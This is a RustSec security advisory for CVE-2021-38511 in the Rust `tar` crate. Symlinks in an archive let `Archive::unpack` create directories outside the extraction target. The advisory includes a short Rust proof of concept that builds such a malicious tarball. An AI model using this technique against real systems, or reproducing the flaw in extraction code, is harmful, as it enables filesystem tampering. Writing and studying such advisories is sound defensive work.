RUSTSEC-2021-0080

Links in archive can create arbitrary directories

Reported	July 19, 2021
Issued	August 8, 2021 (last modified: October 19, 2021)
Package	tar (crates.io)
Type	Vulnerability
Aliases	CVE-2021-38511
Details	https://github.com/alexcrichton/tar-rs/issues/238
CVSS Score	7.5 HIGH

CVSS Details

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	High
Availability	None

CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Patched	>=0.4.36

Affected Functions	Version
`tar::Archive::unpack`	<0.4.36

Description

When unpacking a tarball that contains a symlink the `tar` crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

```
use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}
```

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as `tar` 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!